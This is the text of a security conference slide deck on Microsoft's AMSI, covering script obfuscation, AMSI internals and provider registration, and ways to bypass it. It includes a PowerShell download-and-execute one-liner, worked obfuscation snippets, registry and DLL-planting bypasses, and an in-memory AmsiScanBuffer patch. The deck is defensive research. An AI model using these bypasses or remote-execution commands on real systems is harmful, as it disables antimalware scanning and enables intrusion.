The Rise and Fall of AMSI
@Tal_LibermanAbout me@Tal_Liberman
Research & Reverse Engineering
Founder @ Polarium
Previously
Head of Research Team @ enSilo#ProcessDoppelgänging#AtomBombing

Overview● Introduction○○○

Script Based & Fileless Threats
Obfuscation
The Cat and Mouse Game

● AMSI Overview○○

AMSI from the Developer’s Perspective
AMSI from the Security Vendor’s Perspective● Building and Registering Your Own AMSI Provider● Bypassing AMSI
● Final Thoughts

Script Based Threats●●●●“Script-based malware - on the rise”
This is not a trend - it’s mainstreamThere are more script based threats than there are binary threats*
Why scripts?
○ Already available on all target machines○ Vastly used in domain settings○ Scripts are faster to develop○ Minimal skills needed to achieve good functionality○ Obfuscation of text is more simple than of machine code
○ Harder to monitor scripts than compiled executables

Fileless Threats● A file always has to be run
○●
●
●
●

Assuming the malware survives a reboot

But it can be a MS signed executable being abused
Notorious examples are Poweliks and Kovter
The main idea is to use a scripting engine to run code via command line
Example:○powershell -nop -exec bypass -c "IEX (New-ObjectNet.WebClient).DownloadString(‘https://pastebin.com/raw/zkfaQL7c’)"Obfuscation● In software development, obfuscation is the deliberate act of creating
source or machine code that is difficult for humans to understand -Wikipedia.
● Well… except for the word “humans”.

The Cat and Mouse Game
● Let’s start with a simple example:
function Invoke-Malware {Write-Host ‘Malware!’;}● Simple signature: if script contains “Write-Host ‘Malware’” → Malicious● Simple bypass:function Invoke-Malware {Write-Host "Malware!";}● Simple signature: if re.findall(“Write-Host .Malware.”, script) →Malicious● Simple bypass:function Invoke-Malware {Write-Host (“Mal” + “ware!”);}

The Cat and Mouse Game
● Let’s start being a little more sophisticated (just a bit):function Invoke-NotMalware {$malware_base64 = "V3JpdGUtSG9zdCAiTWFsd2FyZSEi";$malware = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($malware_base64));
IEX ($malware);}● Simple signature:○

if script contains “V3JpdGUtSG9zdCAiTWFsd2FyZSEi” → Malicious● Simple bypass:function Invoke-NotMalware {$malware_base64 = "VwByAGkAdABlAC0ASABvAHMAdAAgACIATQBhAGwAdwBhAHIAZQAhACIA";$malware = [System.Text.Encoding]::UNICODE.GetString([System.Convert]::FromBase64String($malware_base64));
IEX ($malware);}Emulation● Security solutions are able to emulate base64 decoding● So malware authors move to algorithm based obfuscation such as XOR:
$key = 0x64
$encodedMalware = "M2QWZA1kEGQBZElkLGQLZBdkEGREZEZkKWQFZAhkE2QFZBZkAWRFZEZk";$bytes = [Convert]::FromBase64String($encodedMalware)$decodedBytes = foreach ($byte in $bytes) {$byte -bxor $key}$decodedMalware = [System.Text.Encoding]::Unicode.GetString($decodedBytes)
IEX ($decodedMalware)● Security solutions implement XOR emulation

Encryptionfunction Decrypt-Malware($key, $encryptedStringWithIV) {$aesObj = New-Object "System.Security.Cryptography.AesManaged";$aesObj.Mode = [System.Security.Cryptography.CipherMode]::CBC$aesObj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV);$aesObj.BlockSize = 128; $aesObj.KeySize = 256; $aesObj.IV = $bytes[0..15];$aesObj.Key = [System.Convert]::FromBase64String($key)$unencryptedData = $aesObj.CreateDecryptor().TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesObj.Dispose();[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0);}$key = "ML57A09Y2VZNP7yYtaaKGVilRYQleuTYowMHX4J4kOk=";$encryptedMalware = "zm2ABSUIXOMOF1rBRbtYFsoqgmPdkPSEUw2AC8m1jWAz8YTc9qCAOacwqy8Fc2Oa";
IEX (Decrypt-Malware $key $encryptedMalware)Emulation + Analysis - there’s a limit● Solid encryption is not something we can bruteforce● We can try to identify the key and the algorithm○○

Very hard to do reliably
What if the key comes from somewhere else?
■■■■

FileRegistry
Environment VariableInternet● A bit of creative thinking and we can slip past the most advanced
detection algorithms

Detect the Obfuscators● At this point security products start to write signatures for thedeobfuscators themselves, instead of the actual malware● “In fact, this is what accounts for the vast majority of signatures for
script-based malware.” -- Lee Holmes from MS● But if the obfuscation is as trivial as:function Invoke-Malware {IEX (New-Object Net.WebClient).DownloadString(‘https://pastebin.com/raw/tB5HjaNL’);}● Trying to sign something like this would generate an unacceptable
number of false positives

Enter AMSI●

https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx

Enter AMSI
●
●
●
●
●
●AMSI - Antimalware Scan Interface
Introduced to help AV vendors deal with script based threats
It is a mechanism that standardizes scanning of content
Any app can request any content to be scanned
Any* security vendor can register to receive scan requests
The OS becomes a middle manAMSI - Supported Vendors●Windows Defender○●Windows Defender ATP○●https://help.eset.com/eav/10/en-US/index.html?technology_sbap.htm

AVG○

●

https://cloudblogs.microsoft.com/microsoftsecure/2017/12/04/windows-defender-atp-machine-learni
ng-and-amsi-unearthing-script-based-attacks-that-live-off-the-land/

ESET
○

●

https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-devel
opers-new-malware-defenses/

https://support.avg.com/answers?id=906b00000008oUTAAY

BitDefender○

https://www.reddit.com/r/BitDefender/comments/5ebk6o/How_to_Disable_the_AMSI_Serv
ice_Provider/AMSI from a developer’s perspective
How do you interact with AMSI?

From the DocsAMSI - Enumerations

AMSI - Enumerations

AMSI - Enumerations

AMSI - Functions

AMSI - Functions

AMSI - Functions

AMSI - Functions

AMSI Implementation in PS

AMSI Implementation in PS● Powershell is where theoretically AMSI is most effective● Powershell is open source - that’s really cool! No reversing!
● Easy to inspect how AMSI was integratedAMSI from a security vendor’s perspective
How do we implement an AMSI provider?

AMSI - Interfaces

AMSI - Interfaces

AMSI - Interfaces

IAmsiStream::ReadAMSI - Interfaces

What’s thedifference?

AMSI - Interfaces

AMSI - Architecture

https://blogs.technet.microsoft.com/mmpc/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/

Building a Provider● We now know what we need to implement
○

●
●
●
●
●

Our very own IAntimalwareProvider

The question is how do we implement it
IAntimalwareProvider is a COM interface
There are frameworks provided by MS for COM development
No need to know how they actually work under the hood
Use amsi.idl from Windows SDKBuilding a Provider●●●●●I do encourage you to forget about the frameworks
Implement everything yourself
You will learn a lot more
Later go back and use the frameworks
The best resource by far for this:○https://www.codeproject.com/Articles/13601/COM-in-plain-C● I’ll be releasing my code sample as well

Registering a Provider●●●●●Once we have built and registered our COM object
We need to register it as an AMSI provider
Unfortunately AMSI provider registration is undocumented
But that’s not going to stop us of course
Let’s take a look at amsi.dll

Registering a Provider

Registering a Provider● Registering a provider with AMSI involves two steps○○Registering the COM object under HKCR\CLSID
Creating a key with our provider’s GUID under:■HKLM\Software\Microsoft\AMSI\Providers● Once we do that, we can run Powershell○

We will now receive scan requests for every command that runs

● That wasn’t very hard - so why is it a secret?

Scan Dispatching
●
●
●
●
●

We now know how AMSI loads its providers
But how does it dispatch the requests to the providers
Can providers fail?
What happens if they do?
Let’s have a quick look...

Scan Dispatching

Scan Dispatching●●●●●Providers are loaded by their GUIDs “alphabetically”
Lower GUID → Loaded first
All providers are stored in a list
When a request arrives, IAntimalware iterates through the list
For each provider in providers○if(provider::Scan(...) == S_OK)■○

Breakelse■

Continue to next provider

Scan Dispatching● We know how to register a provider (requires administrator access)● Let’s register a simple provider○○

Always return S_OK
Always set *result = AMSI_RESULT_CLEAN● Defender will no longer receive scan requests○If our GUID starts with 1 or 0

● This will essentially disable AMSI completely● No indication to user or to DefenderBypassing AMSI
● This is a crucial point we must understand● When trying to bypass AMSI we need to understand what it wasintended to solve● “The crux of the issue is that scripting engines can run code that wasgenerated at runtime. This is where the new Antimalware Scan Interface
comes in.”● “While the malicious script might go through several passes ofdeobfuscation, it ultimately needs to supply the scripting engine withplain, unobfuscated code.”Bypassing AMSI● AMSI is a technology created to help in the battle against script basedmalware● AMSI assumes compromise - if you’re running a script, you’re alreadyinfected● AMSI wants to take away the attacker’s ability to obfuscate code
○If it’s a known malicious script, it will be caught, regardless of obfuscation

Implementation Flaws●●●●●Some bypasses are less troubling
Mistake in implementation
Something the developers didn’t take into accountCan usually be fixed without much effort
Let’s see some examples

COM Server Hijacking● Great post by Matt Nelson (enigma0x3)○

https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/COM Server Hijacking

NULL Terminator● Another great post by Satoshi Tanda (@standa_t)○

http://standa-note.blogspot.com/2018/02/amsi-bypass-with-null-character.html

Missing DLL●●●●

Run from a different directory than its original directory
It will try to load amsi.dll from that directory
Put a rogue amsi.dll in that directory
No need for administrator accessMissing DLL● Powershell.exe is not located in System32● It is in a subfolder of System32:○C:\Windows\System32\WindowsPowerShell\v1.0● Amsi.dll is in System32● Powershell tries to load amsi.dll from its directory before system32● Needs administrator accessMissing DLL● Put a rogue amsi.dll in
C:\Windows\System32\WindowsPowerShell\v1.0\

AMSI In VBScript/JScriptAmsiEnable Bypass

AmsiEnable Bypass● No need for administrator access● In registry○HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable● Create value AmsiEnable=0

Implementation Issues● Some of the implementation issues have been fixed● Some will be fixed, at MS discretion

Fundamental Issues●●●●Not all issues are “just” implementations flaws
What if we have some issues that aren’t so easy to fix?
Then we have a more serious problem
Let’s see some examples

One Liner● Is it possible to bypass AMSI with a command line that would fit into atweet?
● Let’s go back to Powershell’s source code
● Remember amsiInitFailed?
● What if we could somehow manually set it to true?
● PowerShell is a very very powerful tool
● No need for administrator accessDisabling AMSI - in a single tweet!

In memory games● Powershell allows you to make native API calls● Using native API calls there are countless ways to bypass AMSI● There was a publication by 2 researchers from CyberArk describing anAMSI bypass by loading a native DLL from disk
● Let’s demonstrate a much simpler approach● Powershell calls AmsiScanBuffer● AmsiScanBuffer passes the buffer to scan along to AMSI mechanism● AMSI mechanism passes buffer to providers

In memory games● No need for administrator access and no DLL on disk
● Let’s stop AmsiScanBuffer from passing on the request○In-memory patching

function Patch-AmsiScanBuffer {[UInt32]$AmsiScanBufferAddress = [long](Get-ProcAddress amsi.dll AmsiScanBuffer)[UInt32]$Size = 0x4[UInt32]$ProtectFlag = 0x40
[UInt32]$OldProtectFlag = 0$Win32Functions.VirtualProtect.Invoke($AmsiScanBufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag)$Win32Functions.memset.Invoke($AmsiScanBufferAddress, 0xB0, 1)$Win32Functions.memset.Invoke($AmsiScanBufferAddress+1, 0x01, 1)$Win32Functions.memset.Invoke($AmsiScanBufferAddress+2, 0xc2, 1)$Win32Functions.memset.Invoke($AmsiScanBufferAddress+3, 0x18, 1)$Win32Functions.memset.Invoke($AmsiScanBufferAddress+4, 0x00, 1)}

Keep or Toss?
● The Good
○ All security vendors should implement providers○ It’s so easy, it’s a shame to miss out on more visibility○ The fact that an app can request content to be scanned is good
● The Bad
○ As long as Powershell can do anything in .NET, it will be very hard tobeat obfuscation○ Same issues will come up with other scripting languages such as Python

Summary● Script Based Malware and Obfuscation● What was AMSI created for?
● AMSI Internals
○
○
○
○
○
○

Design + API
Structures
Initialization
Dispatching
Provider Implementation
Provider Registration

Summary● Bypassing○

Implementation Issues■■■○COM Server Hijacking
NULL Terminator
AmsiEnable

Fundamental Issues■■

One Liner
In-memory gamesThank YouQuestions?
@Tal_Liberman